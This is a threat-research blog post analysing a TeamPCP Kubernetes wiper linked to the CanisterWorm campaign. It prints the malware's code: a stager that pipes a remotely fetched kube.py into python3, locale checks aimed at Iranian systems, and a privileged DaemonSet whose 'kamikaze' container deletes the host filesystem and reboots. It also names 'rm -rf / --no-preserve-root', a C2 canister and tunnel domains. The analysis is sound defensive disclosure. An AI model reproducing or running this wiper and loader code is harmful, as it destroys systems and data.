Blog / Vulnerabilities & Threats CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran Written by Charlie Eriksen Published on: Mar 22, 2026 Table of Contents Text Link We found a new payload in the TeamPCP arsenal, and this one doesn't just steal credentials or install backdoors. It wipes entire Kubernetes clusters. The script uses the exact same ICP canister ( tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io ) we documented in the CanisterWorm campaign . Same C2, same backdoor code, same /tmp/pglog drop path. The Kubernetes-native lateral movement via DaemonSets is consistent with TeamPCP's known playbook, but this variant adds something we haven't seen from them before: a geopolitically targeted destructive payload aimed specifically at Iranian systems. β High-level details Because the blog post contains a lot of technical detail, here's a summary of the most important observations we've made: π Same ICP canister C2 as CanisterWorm ( tdtqy-oyaaa-aaaae-af2dq-cai ) π― Payload checks timezone and locale to identify Iranian systems βΈοΈ On Kubernetes: deploys privileged DaemonSets across every node, including control plane π Iranian nodes get wiped and force-rebooted via a container named kamikaze π Non-Iranian nodes get the CanisterWorm backdoor installed as a systemd service π£ Non-K8s Iranian hosts get rm -rf / --no-preserve-root π Persistence disguised as PostgreSQL tooling: pglog , pg_state , internal-monitor π Multiple Cloudflare tunnel domains observed rotating as payload delivery infrastructure πͺ± Latest variant adds network-based lateral movement π SSH spread via stolen keys and auth log parsing π³ Exploits exposed Docker APIs on port 2375 across the local subnet The stager At first, we observed it simply pointing to https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , which contaiend a singular payload. Later, it split the payload into two files, as seen below. # !/usr/bin/env bash set -euo pipefail if ! command -v kubectl &>/dev/null; then ARCH="amd64" [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64" curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl chmod +x /tmp/kubectl export PATH="/tmp:$PATH" fi PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py" curl -L -s "$PY_URL" | python3 - rm -- "$0" What you can see is that it downloads kubectl if it's not already installed. Then it downloads kube.py from the same host, and executes that, before then deleting itself. The real interesting code is contained within that. Here's the last few lines of the script, which clearly outlines the intent of the code, which we will break down further: if __name__ == "__main__" : if is_k8s(): if is_iran(): deploy_destructive_ds() else : deploy_std_ds() else : if is_iran(): poison_pill() sys.exit( 1 ) How it chooses its target The first thing the payload does is figure out where it's running. Two checks: def is_k8s(): return os.path.exists( "/var/run/secrets/kubernetes.io/serviceaccount" ) or \ "KUBERNETES_SERVICE_HOST" in os.environ Standard Kubernetes pod detection. Every pod gets a service account mounted by default. Then this: def is_iran(): tz = "" if os.path.exists( "/etc/timezone" ): with open( "/etc/timezone" , "r" ) as f: tz = f.read().strip() else : try : tz = subprocess.check_output([ "timedatectl" , "show" , "--property=Timezone" , "--value" ], stderr=subprocess.DEVNULL).decode().strip() except : pass lang = os.environ.get( "LANG" , "" ) return tz in [ "Asia/Tehran" , "Iran" ] or "fa_IR" in lang It checks the system timezone and locale. If the machine is configured for Iran ( Asia/Tehran , Iran , or fa_IR ), the payload takes a very different path. Four paths, one script The decision tree is simple and brutal: Kubernetes + Iran : Deploy a DaemonSet that wipes every node in the cluster Kubernetes + elsewhere : Deploy a DaemonSet that installs the CanisterWorm backdoor on every node No Kubernetes + Iran : rm -rf / --no-preserve-root No Kubernetes + elsewhere : Exit. Nothing happens. The wiper: "kamikaze" The Iranian-targeted DaemonSet is called host-provisioner-iran . The container inside it is named kamikaze . Subtle, this is not. β def deploy_destructive_ds (): ds_name = "host-provisioner-iran" if run_cmd( f"kubectl get ds {ds_name} -n kube-system" ).returncode == 0 : return yaml = f""" apiVersion: apps/v1 kind: DaemonSet metadata: name: {ds_name} namespace: kube-system spec: selector: matchLabels: name: {ds_name} template: metadata: labels: name: {ds_name} spec: hostNetwork: true hostPID: true tolerations: - operator: Exists containers: - name: kamikaze image: alpine:latest securityContext: privileged: true command: ["/bin/sh", "-c"] args: - | find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true chroot /mnt/host reboot -f volumeMounts: - name: host-root mountPath: /mnt/host volumes: - name: host-root hostPath: path: / """ subprocess.run([ "kubectl" , "apply" , "-f" , "...
A new destructive wiper payload from TeamPCP uses the established CanisterWorm C2 infrastructure to target Kubernetes clusters, deploying privileged DaemonSets for lateral movement. The malware performs geolocation checks; on Iranian systems, it deploys a destructive 'kamikaze' container to wipe nodes, while non-Iranian systems receive the standard CanisterWorm backdoor for credential theft and further network propagation via SSH keys and exposed Docker APIs.